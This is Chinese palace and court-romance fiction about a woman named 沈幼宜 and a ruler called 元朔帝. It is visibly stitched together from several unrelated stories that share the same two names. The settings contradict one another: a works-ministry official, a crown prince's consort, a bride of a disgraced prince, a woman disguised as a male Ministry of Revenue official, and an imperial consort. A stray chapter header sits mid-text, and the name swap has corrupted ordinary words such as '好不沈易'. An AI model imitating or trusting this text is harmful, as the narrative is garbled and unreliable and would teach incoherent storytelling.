三月天冷热相宜,当初陛下下旨整修昭王府,工部再三测算了工期。因日程实在紧张,恐怕来不及在昭王殿下回京前如数竣工。是以尚书大人重作安排,先从靠近昭王府内院的地方修起。如今只剩下最外围的校场与花苑,在偌大的王府中,绝不会扰了昭王殿下。 沈幼宜时常在昭王府盯看工事,工部的寻常事务她悉数还了回去。毕竟其他同僚奉旨修建昭王府时,没少将杂项交托给她。且她在昭王府有单独的值房,工部中鲜有人寻得到她。 虽说烦难事依旧不少,朝局更捉摸不透,但望那澄澈无垠的天际,总能让人感到轻松自由些许。 “沈大人。” 与武安侯在值房附近遇见时,他先主动与她打了招呼。 也是凑巧,沈幼宜道:“侯爷一会儿要是没有急事,我正有几样东西要给侯爷。” “哦?”谢谦好奇。 沈幼宜笑道:“侯爷请。” 她吩咐小厮去备茶,自行打开书案一格,取出来的恰是几块黄花梨木料。 她逐一递给谢谦,这些都是她凭着记忆中对那架木战车的模样,精心选出来的。 沈幼宜道:“木料纹理各不相同,恐怕再如何费心追寻也难做到与原物一般无二。”她将其中一面花纹展示给谢谦,“但若搭配得宜,新换上的木料也会有意外之喜。” 就像当年在祖父膝下长大的谢家小郎君,或许他往后的人生并不像祖父所期盼的那样顺遂。但渤海公在天之灵,见到如今的武安侯谢谦,应当也会很欣慰吧。 沈幼宜笑容明净,眸中一片真挚。 东西不算贵重,但足够用心,收下也毫无负担。 谢谦望那几块漂亮的黄花梨木料,唇畔亦添了笑意。 “多谢沈大人。”他诚挚道。 这天夜里是难得的盛景,夏景初绽,百花争奇斗艳,长街上灯火通明,各式各样的花灯挂在房檐下,人来人往热闹非凡,江山盛世,笙歌烟火,莫过于此。 东宫出行的马车是最低调的那一辆,走在大街很不起眼,没有任何代表储君身份的标志和图腾。 马车行到最热闹的十字街就走不动了,这里的人太多,马车很难畅通,比用腿脚走路还要慢上许多。 元朔帝率先下了马车,萧明月和沈幼宜紧接着下来,跟在元朔帝后面,一起往京都最大最好的蓬莱酒楼走去。 进了蓬莱酒楼,萧明月不好意思在继续跟着,就张口告辞了,提步去她密友林幼宁已经定好的厢房里,本想着找个机会让林幼宁与兄长元朔帝见上一面,这也是江皇后吩咐萧明月的事,但没想到皇兄竟然将沈幼宜一起带出来了。 沈幼宜善妒娇蛮的名声在宫里广为流传,她今夜要是一直跟在皇兄身边,可如何让幼宁与皇兄见面,左右都是不大方便的,说不准沈幼宜还会在他们见面的时候搅局,搞得大家都没了体面。 萧明月无奈看了一眼紧紧跟在元朔帝身后,拽着男人袖子的娇柔美人,在心里叹了一口气,快速转身离去了。 半个时辰后,这条街上会有花车游街,这也是百花节举办多年的传统了,自前朝起就有这个节目,一直流传到现在。 最佳的观景地点就是蓬莱酒楼二楼靠窗的天字房,若不是因为这间厢房是元朔帝花了大价钱承包了一整年的,今日就定不到这样好的厢房。 往日里,元朔帝不经常来这间厢房吃饭,大多数时候都是借给几个交好的皇亲和伴读们宴客用。 “殿下带妾身一起出来,不会不方便吧?”沈幼宜在厢房里逛了一圈,然后坐在元朔帝对面,笑着问:“听说佳柔公主与国公府的那位林小姐是多年手帕交,这次还是皇后娘娘让公主从中撮合,让殿下去见见林小姐的,我跟来搅局,殿下是不是会觉得妾身不懂事啊?” “你说呢?”元朔帝反问,都被沈幼宜得了便宜还卖乖的话给气笑了。 很明显,沈幼宜是知道今日不该跟过来的,但她还是跟过来了,说她不是故意过来搅局的都没人信。 出来之前,在书房里,沈幼宜差点给他表演一出伤心欲绝与君决裂的大戏,元朔帝看她挤出来的泪光就知道她要开始闹了,于是主动张口,让她一起跟出来逛逛,直接给她含在眼眶里的泪水给憋了回去。 沈幼宜撇嘴,脸上带着很想忍耐但没忍住的得意笑容,“可是……是殿下主动说要带妾身出来的呢,这也不是妾身要求的,要是坏了殿下的事情,也不能怪到我头上呢!” 元朔帝:“……”她这幅小人得志的样子,真的很难掩盖,实在不会装,就大大方方地笑吧,别忍着了。 再次庆幸两个孩子在这方面不像她。 元朔帝由着沈幼宜得意,没有反驳。其实就算不带沈幼宜出来,他也没准备去见那个林小姐,辅国公府林氏确实是难得的清贵家族,底蕴深厚,但他无意定下太子妃,也不想让鸿儿和清儿有一个不熟悉的嫡母。 这样对孩子不好,他是嫡出长子,但不是父皇唯一的儿子,更不是太祖皇帝唯一的孙子,江皇后的家族并不强大,是商户出身,从小到大,为了母亲的尊容,也为了自己的地位,他活得不知有多累,甚至习惯了这种日子,习以为常。 父亲对他的看中是需要理由的,需要他足够强大才可以,并不是因为他的嫡出身份,皇家父子之间没有发自内心的真心喜爱,因为父亲有好几个儿子,宠爱和地位都得靠自己争来。 或许是元朔帝看够了这样的虚假父子情,所以并不想让自己的孩子也活得战战兢兢,时时刻刻怕有别的儿子抢了自身的地位,他不想让鸿儿和清儿过成这样,所以这辈子,他只需要这两个儿子就够了。 孩子多了没什么用,他的喜欢有限,没办法分给很多人。 “殿下能带妾身出来看,妾身很开心。”沈幼宜双手拖着下巴,一双眼睛亮晶晶地看着元朔帝。 她当然是开心的,不仅是因为元朔帝这几日对她种种逾矩行为的退步,也是因为玉书又得到了好消息,妹妹沈拂寻到了母亲的住所,也许用不了多久,她就能离开这里了,等解决完这里的事情,她会带着妹妹和母亲离开京都,离开景国,走得远远的。 至于鸿儿和清儿……她对这两个孩子是亏欠的,这辈子欠他们良多,所以希望能在走之前,为两个孩子尽量铺平往后的路。 不多时,色泽诱人的菜肴一道道端上来,还有一些新鲜瓜果,元朔帝话少,厢房一直是沈幼宜在不停地说话。 外面响起花车游街的乐声,沈幼宜连忙走到窗边去看,兴致勃勃地看了会,然后微微叹息,有些可惜地说道:“本想在殿下生辰宴那日献舞的,为此还排练了月余,只盼给殿下看上一眼,也是一份心意呢,可惜了,最终还是没能去上生辰宴。” 说起生辰宴,沈幼宜自然要提起她因红疹没去上的事情,问了一嘴事情查得怎么样了,有没有找到给她下药的人。 “这事有些眉目了,但证据不足,再等些时日,寻寻确凿的证据,就算是找不到证据给你公道,也不会就此过去。”元朔帝手下的人查了几日,最终查到了闵樱和慕鸳头上,能确定是这两人其中一人所为,但是不知到底是谁干的。 如果最后查不出来,那就干脆将她们一起移出东宫,绝了后患。 沈幼宜点头,拉着元朔帝的衣袖,拽他走到窗边一起看外面的盛景。 哪有什么幕后之人,其实都是她自导自演罢了。 闵樱在她有孕时对孩子下手,幸好被玉书发现,沈幼宜并未被害,但她没事不代表这个仇她不报。 她也不是非要闵樱的命,只要撵出东宫,一辈子翻不了身就好,她可是很善良的,不能随便杀生。 元朔帝忍让沈幼宜多日了,可能忍着忍着就有点习惯了,被沈幼宜拉着袖子扯到窗边也都顺着她,心里压根没有被冒犯到的感觉。 “殿下,花车上的美人是不是都很美,个个都像仙女。” “嗯。”元朔帝随口应着,没注意沈幼宜在说什么,他目光都落在沈幼宜与他相牵的手上,感受到她柔若无骨的手,没忍住用手指摩挲了一下。 沈幼宜笑着看他,眨巴眨巴眼睛,问:“那她们是不是都没有妾身好看,在殿下眼里,谁更美?” 她不是一定要和别人比容貌,就是要逗逗元朔帝罢了。 元朔帝松开了沈幼宜的手,看向楼下长街,淡声说:“孤不知。” 他怎么知道花车上的美人长什么样子,比较不来,刚刚没往花车那边看。 “哼。”沈幼宜又抓住了元朔帝的手,十指相扣,撒娇道:“无论是谁更美,殿下都要说阿宜最美,因为在阿宜心里,殿下就是天底下最丰神俊朗的郎君,是阿宜一个人的夫君。” “可孤不是你一个人的。” “是!我说是就是的!殿下别骗我,元朔帝这个人是不是我一个人的夫君,殿下最清楚了不是么。” 她眼中的爱慕太过热烈真挚,元朔帝几乎无法与她对视,仓促又克制地转开目光,面上淡定,耳垂却有些微红。 “孤不清楚,都是你自己猜的。还有,不可直唤孤名讳,这是死罪。” 沈幼宜偏头靠在他肩膀上,“就要叫,我的男人,我怎么叫都可以!我心悦殿下,殿下也要心悦我,规矩什么的都是给外人看的,殿下不说,没有人会知道。” 心悦?他会心悦沈幼宜吗?元朔帝之前一直觉得,他会娶一个端庄的大家闺秀为太子妃,相敬如宾,直到遇上沈幼宜这个意外。 她学识浅薄,刁蛮任性,他是怎么会喜欢上沈幼宜呢,说话这么异想天开,他该打破她的幻想才是,但……元朔帝到底是没推开她。 他淡定地看着楼下,在心里对自己说,顺着她点也好,她乖顺些,东宫就安宁些,宠宠没什么,都是看在孩子的面子上罢了。 对,这都是看在孩子的面上。 从沈府出来的红顶花轿没入黑暗,这一小簇红未能给暗沉的天空带来活力,反而透出几分诡异,像暗夜中溅射而出的血。 大皇子元朔帝是戴罪之身,大婚也没有得到特赦,宫里只派了个低等太监引沈幼宜一行人入宫,还未得拜见皇帝皇后,便入了西巷口。 至于拜堂、宴酒之类的仪程也是能省则省。 幸而这日的雨相当懂事,它憋了一整天,等她进院子入新房时才一股脑地倾盆泼下。 夏雨阵阵,铺天盖地,屋外暮色茫茫,屋内亦不明朗。 时间变得模糊,沈幼宜等了许久都不见外面有人进来,她双手执喜上眉梢团扇挡在脸前,透过薄薄的绢纱悄声打量周围环境。 整个屋子色调灰暗,除了云纹窗格上敷衍地贴着几张大红的喜字,几乎没有什么布置新房的痕迹。 几根白烛落在屋内四周的墙角,发出惨淡的光。 陈旧的家具显得房内昏暗阴沉,黑黢黢的看不出原来的颜色,压抑感扑面而来。 墙角随意堆放几个镂空花鸟纹的漆金木箱,金漆斑驳,铜锁耷拉吊在半空,风从窗牖中透过来,吹动铜锁发出嘎吱嘎吱的刺耳声响。 整个新房里最喜庆的就是枯坐在剔云纹梨木拔步床中央的红嫁衣新娘。 沈幼宜忽然觉得有些好笑,心道这不像新房,更像是灵堂。 隐约间,一道颀长的身影踏入房内。 沈幼宜敏锐地捕捉到他正慢慢踱步朝她而来,身体莫名打了个颤,连忙挺直腰,握住团扇的手紧了紧,躲在扇面后的眼眸又垂一分。 头顶猛然坠落一片阴影,重重压在她的身上。 还没见到元朔帝的脸,他身上那股摄人的气势先行到来,迫得沈幼宜喘不过气。 她平日里在大小姐身边跟着时偶尔听她夸过元朔帝风姿俊朗,柔如涧溪,姐妹们也说他温文尔雅,为人和善,但落在头顶的目光令沈幼宜觉得像被一条毒蛇盯上。 好奇心驱使她忍不住往上看。 沈幼宜本能地调整好脸上的表情,衔着微笑缓缓抬头。 清泠泠的双眸露出团扇瞬间,她对上一双再熟悉不过的眉眼。 瞳孔倏地紧缩,藏在扇底的假笑顷刻崩塌。 顾焱,子期,你还活着! 刹那间,燥热潮湿的空气凝固在沈幼宜周围,她的身体也一同僵化。 有那么一刻,她以为自己在做梦,张口想要喊出今生今世都要被埋藏在心底的那个名字,却在下一秒吞进咽喉。 “怎么在发呆?”沈幼宜一边哭一边说,断断续续地说了一大段话,直到被元朔帝叫停。 元朔帝不知道出了问题的衣裳是他院子送来的,更没想到沈幼宜会这样联想,不过以她的性子,这样想也怪不得她,毕竟她智商有限。 “你说的这些,孤都不知道。”元朔帝蹲在沈幼宜边上,伸手将她从地上捞起来,扣着肩膀半搂在怀里。 沈幼宜神情愣了会,然后惊讶地看着他,稍有些惊喜又立马失落起来,“就算今天的事情与殿下无关,但殿下不喜我是真的,厌烦我也是真的,呜呜呜……” 不知为何,元朔帝看她哭得这样伤心,莫名揪心,心里不太舒服。 他伸手拂去她眼角的泪珠,语气难得软下来,“我没有,别哭了,成日胡思乱想些有的没的……鸿儿和清儿都在外面等着见你,你确定要让他们看见你这幅样子么?” “殿下刚刚说没有什么?”沈幼宜止住哭声,抓住了元朔帝话里的重点。 那双酷似顾焱的黑眸微微弯了弯,充满善意地问:“是饿了么?” 寂静阴森的屋子在他温润的目光下宛如注入一道亮光,破开厚重的云幕,直插沈幼宜的心脏。 她黯淡的眼眸重新点亮,蓦地又变得通红。 时至今日再次看见这双眼睛在自己面前,沈幼宜才明白连日压抑在心中的恨和怨都是假的,是不肯承认心上人已经死去的幌子,她企图用更强烈的怨恨来掩盖巨大的悲痛。 然而她真正想的,只是顾焱还活着而已。 哪怕他不能如约娶自己。 哪怕她依旧迫于家族压力要嫁入宫闱,被人磋磨。 因为顾焱于她而言,就如在暗夜踽踽独行时面前的一束光,即便她无法拥有,也不想光就此泯灭消逝。 沈幼宜握住团扇的手猝然卸了力,啪嗒一声落在地上,发出突兀的声响。 没了扇子遮挡,她看全看清眼前人的样貌后眼眸忽地黯了下来。 眼前这位身穿烟红绛袍的男子清隽疏朗,眉目之间含着三分笑意,显得十分亲和。但他体格高大,站在沈幼宜面前投下浓黑的阴影,完全将她笼在其间,尤其是他低头时会不自觉带出一丝久居上位的威压。 他的唇薄如锋刃,锐利得仿佛能划破铜墙铁壁,即便是笑,也有一种高居云端,傲然于世的疏离感。 顾焱却不同,他的唇饱满丰厚,笑起来的样子像六月的烈阳,能轻易感染身边每一个人。 元朔帝是金尊玉贵的大皇子。 不是一无所有的顾焱,顾子期。 沈幼宜毫无预兆地落下两行清泪。 这是她为顾焱的死第一次流泪。 元朔帝眸光轻闪,暗自记下她怪异的反应,旋即温和一笑敛去眼底沉色。 “怎么哭了,我长得很吓人?” 话音刚落,惊雷轰地一声劈在头顶。 她担惊受怕了许多年才得到的稳固地位,换成另一个女子,却是毫不费力? 至于那个太子妃,她虽然明知道儿子并不喜欢,却生出一点高兴来,她的儿子永远不会被这几个女子勾去心神理智。 沈幼宜握紧了拳,几乎压不住心底的恨:“所以你就污蔑我阿耶!” “贵妃娘子,你入宫这么久,难道还不知晓,人命不过就是一个数字?” 杨氏想起沈氏全族下狱的狼狈,至今仍有说不出的畅意:“谁叫子惠喜欢你,我难道要为了一个外人,去伤他的心么?” 太子和这个女人全然不般配,偏偏她又无计可施,若非天赐良机,还不知道这个妖精会给子惠头上戴多少顶帽子! 陵阳侯、二皇子、甚至是子惠最敬重的父亲! 第 72 章 第 72 章 他一向不愿意在宜娘面前提及王氏的事情,生怕她会多思。 说全然不畏惧,似乎也自视太高,沈幼宜含笑道:“宫中妃妾斗争一贯如此,又不唯独陛下内廷如此,我为何要多心?” 她喜爱这个男子,但是也难免畏惧,她的生死皆在他一念之间,这是不需要旁人挑拨就该知道的道理。 之所以想见一见,不过是好奇,当杨氏落到她当年的境地,到底会想些什么,至于要讥讽诅咒……活着的时候尚且拿她无法,更不要说死后怨灵。 至于那些陈年旧事,她无法解决,也不想探明真相,就不必在皇帝面前频繁提起,如今能平和度日,抚养这个孩子长大,那便没什么可烦忧的了。 今年的宫宴较之以往稍有节俭,也略显冷清,自贵妃之下,妃嫔只有七位得以陪侍,除了元朔帝即位之初入宫,生育过的三位娘子,冯充仪、并张、陈两位婕妤,也便只有多年前采选进宫的几位美人才人,只比贵妃年长六七岁,如今见了她都瑟瑟发抖,甚至有称病不来的。 沈幼宜换了钗钿,今年送来礼服里的首饰竟有十二之多,她微生出些诧异,莞尔道:“这不合规矩。” 元朔帝却比照着侍女绾发后留出的缺口,为她佩戴钗环:“宜娘,宫中的规矩也须得朕说了算。” 出御书房时天色已擦黑,沈幼宜须赶在宫门下钥前归府,先行向太子告退。 她眸底压着两分笑意,得了三日休沐,实在是意外之喜。 况且帝王金口玉言,休沐时俸禄照旧,户部的差事同僚们也会如数替她顶上,不敢怠慢。殊途同归。 在太子府书房再度撞见谢明霁时,沈幼宜除过叹一句时运不济,又知晓在情理中。 昔年东宫未立,陛下钦点谢明霁为三皇子元朔帝伴读。 宣国公府百年显赫,位列开国十二元勋之首,历代皆有股肱之臣,更是曾出过大晋两任皇后。 陛下以宣国公世子为嫡子伴读,立储之心不言而喻,稳稳安抚了后族。 夜色渐浓,沈府卧房内点起两盏灯火。 沈幼宜阅看着从户部调来的卷宗,时有抄录,省得太子问起时应答不便。 窗边,怀月仔细收拾着行囊。两副裹胸层层叠好,被她置于行囊最底处。 “郎君这一去,少说也要三日。城外不比府上,与太子同行,郎君千万要小心,切莫露了身份。” 沈幼宜笑着点头。 “时候不早,水已备好,郎君早些沐浴歇息罢。” “也好。” 水汽氤氲,沈幼宜浸于浴桶中,鞠一捧热水,细细擦拭。 白皙胜雪的肌肤沾上水珠,透着粉晕,仿若雨后荷花,清丽绝伦。 水雾缭绕,眼前的光景如在梦中。 虽则忙碌,但她有了自己的宅邸,自己的俸禄。 她很喜欢这样的日子。 沈幼宜丝毫没有愧疚之心,她初入户部时既无根基,不知帮那几位同僚担了多少闲差。 离去的人脚步轻快,束发的枣红发带随风舞动,彰示着主人的好心情。 “太子殿下。”凤仪宫的张管事恭候多时,上前行礼,“皇后娘娘着人备好了晚膳,命奴才在此迎候殿下。” “好。”难得的三日休沐,沈幼宜有正事要办。朗月之下,亭中人着织金流云纹玉白锦服,手执书册,束发的一根白玉簪剔透温润。他腰间系一枚瑑云龙纹玉佩,昭示出天潢贵胄的身份。 “臣沈砚拜见太子殿下,殿下万福。”月挂中天,琼林苑内宴席堪堪散去时,已过亥时。 沈幼宜回到席上又饮了不少,此刻酒意上涌,只想尽早归府休憩。 马车出了宫门,穿街过巷,京城早便沉入一片寂静。 沈幼宜闭目养神,待到马车停稳前,几乎都要昏昏睡去。 沈府的牌匾在夜色下并不显眼,这座两进的宅邸坐落在皇城西,双仪巷中。宅子占地不大,地段更次,因是转给新科的进士,原主还特意让了一分利,以沾些才气。 府中眼下只沈幼宜一位主人,侍奉的仆从不多。 府门后,怀月已抱了件披风等候,见到沈幼宜赶忙上前搀扶。 “郎君。” 沈幼宜半靠在她肩头,回到熟悉的地方,心下安定不少。 街上已无行人,门房合上沈府大门,闩门的声响在宁静的夜中格外清晰。 内院中,怀月扶着沈幼宜在桌前坐下,又端来醒酒汤。 沈幼宜饮了半碗,等稍稍好受些,屋中也备好了沐浴用的水。 她展开手,由怀月为她褪下官服外袍。自从怀月入府,府中上上下下都打点得妥当,令她没有后顾之忧。 “多亏有你。”她笑着道。 “郎君说什么呢。”怀月挂起衣袍,自己父母早亡,十二岁被叔婶卖入青楼。备受欺侮这些年,若非郎君出手相救,只怕早便活不下去了。 郎君庇护于她,为她医病,又教她读书习字。天长日久相处,她当然知晓沈大人的身份。眼下自己能顶了通房的名分为她遮掩,替她分忧,她觉得很好。 朝堂波谲云诡,沈大人以女子之身入官场,她更是心疼她的不易。 沐浴时沈幼宜习惯不留人侍奉,怀月收拾好衣物便退下。 沈幼宜解开层层束胸,沐浴解去疲乏。贴身的寝衣是上好的丝绸所制,穿着格外熨贴舒心。 自外客观之,沈宅布置并不起眼,很合沈幼宜如今的官位。 卧房内却是另一番光景,黄花梨的拔步床,玉石的笔架,白瓷镂花的香炉,处处蕴着富贵之相。 新科士子入朝,对沈幼宜而言暂无分别,户部庶务依旧繁琐。 一连忙碌几日,巳时中,户部从六品上官员皆在前厅议事。 尚书刘大人显然近日脾气欠佳,茶水不过稍烫了几分,便对长史严加斥责。 在场官员心知肚明,只因前月初严大学士致仕,内阁阁臣空出了一位。近两月来新晋的阁臣人选众说纷纭,昨日朝会上才有定夺。 刘大人再度未能递补入阁,论资历、论名望,按道理他早便够了资格。 真要论起来,只能说是欠了些运道罢。 “免了。”元朔帝合上手中书卷,“坐罢。” “谢殿下。” 侍女添上一盏新茶,恭敬退去亭外。宣国公府毋庸置疑拥护东宫,沈幼宜为首辅门生,在书房内着实显得有些格格不入。 汇编的账册置于案头,元朔帝道:“三月初七往京郊视春耕,你随孤前去。” 此为户部分属职务,沈幼宜起身应是,又道:“那宣德府鱼鳞册……” “暂缓,孤自会告知李尚书。” “多谢殿下。” 沈幼宜舒了口气,总归太子还算体恤。有东宫出面,户部内省得她请人暂代职务,白白担了人情。 “臣告退。” 会有东宫属官与她详细议定日程。春耕时节关乎一年民生,于公于私,她新任户部郎中,确实是陪太子暗访的最合适人选。 书房的门重新合上,谢明霁难得生了好奇之心,接过太子阅完的半本账册。虽说他全然不通户部庶务,但粗粗看下来,沈长瑾编纂的账目条理分明,一应数额翔实有序,寻常人略略看去亦能领悟大概。 他不得不承认,如此才能,也难怪首辅器重沈长瑾。 “案子可有眉目?”元朔帝搁笔。 谢明霁正了神色:“已查到两处据点,严加监看,尚未打草惊蛇。” 首辅一党的人,蝇营狗苟,以权谋私。近年来更是染指科举,动摇朝廷取士之根本,断不能沈。 至于沈长瑾……谢明霁扪心自问,虽说看着也不大顺眼,与寻常首辅党羽倒还不算一丘之貉。 他将账本归回原位,旁的不提,沈长瑾是实打实有几分才学在。年前下江南赈灾,亦算是心系百姓,从无懈怠,令他生生改观了几分。 谢明霁究其原因,沈长瑾还占了几分样貌的便宜。 生得他那副模样,做个祸水都绰绰有余。 沈幼宜不好茶,但这宫中一等的雨雾贡茶,若是不品着实可惜。 她轻拨茶盏,陈府与东宫不睦已久。她为首辅门生,夹在其中唯恐稍有不慎被波及。 从入仕起太子便不喜她的文章,光风霁月的太子殿下,当然不是她可以妄图接近的。也就是前岁江南水患,太子亲往江南赈灾,她作为户部官员随行,多少与这位殿下有了两分交情。 今夜太子召见,为的是户部中事。 大晋开国至今,人口繁衍,土地田亩更有增减,原先的鱼鳞图册远不够恰当,多少富户趁此避税谋私。故而元和二十五年,陛下下令重新丈量土地,加以编号,新修鱼鳞册。沈幼宜入户部以来,中道参与此事,幸得首辅指点,方可独当一面,感激莫名。 宣德府土地分册已大体丈量完毕,正逐步绘成总图。太子既问起,沈幼宜一一应答得宜。 她科举出身,记忆极佳,一应数额都烂熟于心。虽今夜饮了不少酒,应对全然不在话下。 元朔帝颔首,鱼鳞图册事关税赋民生,不沈有失。 “殿下说得是。” 沈幼宜暂不愿回席上,四处人多眼杂,无处躲清静。她巴不得太子再多过问些话,以便在亭中多留片刻。 只可惜,太子已然端起茶盏品茗。 月光悠然映入亭中,沈幼宜抬眸看去,面前的郎君眉眼似玉,矜贵若云间月,高不可攀。 早便知道,太子殿下的样貌生得极好。 任谁见了,都要道一句天道不公,似乎上苍所有偏爱都予了太子。 沈幼宜亦不例外。 借了几分醉意,沈幼宜道:“方才席间和诗,士子间佳作频频,殿下可有兴趣一听?” “好。” 琼林宴上士子清谈,策问诗词,无所不有。沈幼宜择了些不会出错的说与太子,元朔帝放下茶盏,时而答她一两句。 侍女入亭中添过一次茶,云雾茶烹过第二道更见韵味。 月儿隐在云间,沈幼宜算着时辰,识趣地起身,道:“殿下若无其余吩咐,臣告退。” 宫灯照亮阶前路,秦让吩咐侍从好生送了沈大人。 辰时光景,牙行的刘管事已经候在了沈府前厅。 沈幼宜换了身绯红色的常服,她名下现有两间铺子,皆是通过刘管事从中牵线,双方业已相熟。 眼下手中有些余钱,沈幼宜盘了盘账上银两,预备再购置一间商铺。 定钱是一早交给牙行的,两月来沈幼宜忙里抽闲四处相看铺子。每逢旬日,明安堂的夫子会在杏树下设讲坛。这是自仁宗在时定下的规矩,平民女子皆可听学,无需束脩之礼。 在杏坛下寻到熟悉的身影时,沈幼宜眸中蕴了一点真心的笑意:“还好你记得我的话。” 她们寻了临近的一处僻静厢房叙话,怀月仍旧难掩激动神色:“郎君!” 自从谢世子遣人转告她,郎君已出了天牢,要她宽心,她便日日等着郎君的消息。 郎君曾告诉她,无论前路再难,日子总要过下去,读到的书总归不会骗自己。 沈幼宜今日是随沈姗的车驾出府,借口想看一看明安堂。向萍被她临时支去买了糕点,留给她和怀月的时间不多。 她飞快解释了眼下自己的处境,怀月望她一身藕荷色的撒花锦裙,墨发盘作云髻,震惊之余只能无意识点头。 沈幼宜褪下腕上一对赤金手镯:“月娘,这个你先收好。”夕阳西斜,宫廷殿宇沐浴在一片金辉中。 寿安宫内,福宁姑姑亲自在小厨房监看着,安排陛下今日来用的晚膳。 方处置完毕一日的政事,元朔帝踏入寿安宫正殿时,天已擦黑。 “儿臣给母后请安,母后万安。”“太后娘娘尽可宽心了。” 夜阑人静,福宁侍奉太后更衣。 去往颐安行宫的行囊已经收整妥当,择日便可启程。 言太后由侍女为她卸下凤钗,只是纳一位后妃罢了,无需她在宫中。 等到皇帝大婚,她再亲自操持不迟。 “婉儿可回来了?” 福宁道:“回太后娘娘,老夫人递来信,小姐已经动身回京都了。” “那便好。” 言太后丝毫不奇怪儿子择了沈家三姑娘。他对京中贵女皆是淡淡,随意选出个样貌最出挑的,家世也合适。 “你去库房选些物件,待得新人入宫,便赐下去吧。” “奴婢省得。” “陛下。” 御书房内,秦让回话已经回得娴熟:“宸妃娘娘已至朝和殿中,等候册封使宣旨。” 秦让瞧案上一副字帖,宸妃娘娘辰时三刻出府,巳时二刻入宫,午时一刻领受宝印。而陛下这一幅字从晨起写到此刻,堪堪写了一半。 “下去吧。” 秦让退下,接着着人去打探消息。 御书房中归于宁静,元朔帝写完一字,下一笔迟迟未落。 从入狱至今,她对一切都很平静,很有些随遇而安的意味。兴许入他的后宫,对她而言和在朝为官无甚分别。 墨迹晕染,对自己的心绪不宁无言之时,帝王甚至笑了一笑。 是了,前朝后宫,她所想的可能只是换个地方领一份俸禄。 紫宸宫内,帝王方听完暗卫回禀,凝神练字。 她今日去了明安堂,大抵是生了好奇之心。 明安堂所授课业平平,于她而言太过浅显。 帝王落下一笔,难得地去想,倘若她生于宁远伯府,入明安堂读书,会是何等模样。 大抵是顺遂无忧的吧,不必卷入朝堂波诡中,随波逐流。 “快起来。”月琴声声,引人沉醉。 雅间内,几曲终了,沈幼宜单单留下怀月一人。 她信手拨过琴弦,怀月道:“郎君从前吩咐寻的人,因府上变故,不得已又断了消息。” “好。”沈幼宜眸中看不清是何情绪,“月娘,这件事以后你不必再操心了。” “郎君的意思是——” “月娘,接下来我同你说的每一句话,务必好生记着。” 怀月正了神色,将自己的疑惑暂搁置一旁。 “月娘,我要入宫了。”沈幼宜的目光望向紧闭的轩窗,“册封的旨意应该就在这几日。” “铮”的一声,怀月手中月琴不稳,险些磕于地。 “我交由你的东西,可带来了?” 帝王纯孝,言太后心中最是宽慰。 母子二人叙了些闲话,福宁入殿道:“回太后娘娘,晚膳已预备妥当。” 言太后点一点头:“那便传膳罢。” 十八道精致菜肴,从晨起即开始准备。 依言太后的吩咐,布菜的侍女先盛起一碗茯苓鸡汤。 “你连日来政事辛劳,这是母后特意让人给你熬的。” 鸡汤炖了一日,依照太医开的食补方子,蕴着些许药香。 元朔帝无甚胃口,只是淡然接过。 瞧着帝王喝了几勺汤,言太后示意侍女继续布菜。 碗中膳食动了几筷,言太后笑吟吟道:“将要开春,宫中插瓶却还是多用梅花。” “后宫也冷冷清清的,关于纳妃一事,皇儿可有定夺?” 言太后不能不操心此事,此番再度提起时,竟意外得了个想要的答案。 “儿臣已有人选。” “是哪家的女郎?”言太后声音中有些惊喜。 不枉她元宵佳节召了各府女郎入宫,费心安排,数度提起,皇帝总归听进去了她的话。 沈府的三姑娘,印象中是个知礼识进退的。家世也好,伯爵府的嫡女,可堪为妃。 言太后心中满意,又道:“只她一位?” “是。儿臣已交由礼部备办。” “也好。”言太后点头,皇帝愿意纳妃便好。 她唯有这么一个儿子,自小到大,她和言氏一族从来都是将最好的东西双手捧与他。 如今帝王已然长成,许多事情她不能再替他做主。涵儿能遵从她的心意先行纳妃,虽说只有一位,对她而言已是足够。 街巷上已能见到向萍身影,沈幼宜叮嘱她:“五日后,你带上我先前交予你的物件,还在此处等我,明白吗?” 怀月脑中乱糟糟的,对沈幼宜的话却从来记得清楚:“郎君安心。” 难得相见,她却知道自己不能久留。临出屋子前,她又恋恋不舍望了屋中人一眼。 “郎君保重。” 沈幼宜对她宽慰一笑,全然信赖。 毕竟是大宗的支出,她必得亲自经手才安心。今日得闲,怀月也扮了男装随她同行。 春和景明,微风拂面。 午前拢共看了两处铺子,都走得匆忙。尚未到第三家成衣铺,刘管事已将其说得天花乱坠。 “沈大人有所不知,只因原主挣够了银钱,衣锦还乡,才急于脱手这间红火商铺。” 沈幼宜只听三分话,牙行的人最能耐的便是嘴上功夫。北风呼号,登基大典后,入狱的消息来得那般猝不及防。 刑部官差来府上捉拿时,沈幼宜神色平静,甚至无须再对怀月交代什么。 “郎君……” 怀月落了泪,一路追到府门外。 好在有门房再三的劝阻,将她带了回去。 灰蒙蒙的天幕下,沈府大门重重封上。午后的时光翩然而过,黄昏的余晖落下,转眼便到宫宴预备开始的时辰。 沈幼宜需提前至席上等候,命侍女取了自己的披风,秦让好生送了沈三姑娘出去。 他回来时,见帝王摩挲着掌中一枚玉棋,吩咐两刻钟后摆驾。 “是,陛下。” 宴饮的昭华殿中一应已布置妥当,宁远伯府的席位在中段靠上。 沈幼宜寻了自己的位置,安静摆弄着自己的手炉。 秦氏在与旁席两位夫人谈天,说起太后今日召了不少贵女,显而易见是在准备给陛下纳妃。 除了宁远伯府外,其他府上亦有得了太后赏赐的出挑姑娘。 陛下继位至今,后宫仍空悬。各家府邸明面上不提,私下里心照不宣各有盘算。 沈幼宜听得走神,目光不知不觉飘远,落到殿门处的那几张席位。 宫廷盛宴,向来五品以上的官员方有资格参加。 她笑了笑,好不沈易才升了官的。 还以为今年能混个末席坐坐。 沈幼宜想起自己初初置办宅邸,在京都有了安身立命的家时,是怎样的满心欢喜。 沈宅偏僻、简薄,她却再不用担心颠沛流离。 这样好的日子,唯有三载。 天色阴沉,似又要下雨。 沈幼宜笑了笑,三载快活的日子,也够了。 反正老天很少愿意厚待她。 她侧眸看怀月,见人一路记得认真,微微一笑。 日过午时,等当真到了刘掌事所说的顺隆衣铺时,沈幼宜竟意外地觉得不错。 铺面七八成新,地段也好,至少胜过沈幼宜现有的两间铺子。 沈幼宜不动声色,掌柜显然急着交易,不仅价开得低了两三成,连库中所余货物都愿意一并奉送。 不过他着急,沈幼宜自然便不急了。 她客客气气要来账本查阅,余光瞥见掌柜在铺中来回踱步。 按道理生意人,不该如此沉不住气。 沈幼宜略略翻过半本账目,留下一句“再考虑一二”,领怀月出了顺隆衣铺。 今日几家店铺都已相看完毕,刘管事告辞后,沈幼宜笑着对怀月道:“挑个地方,我们去用午膳。” 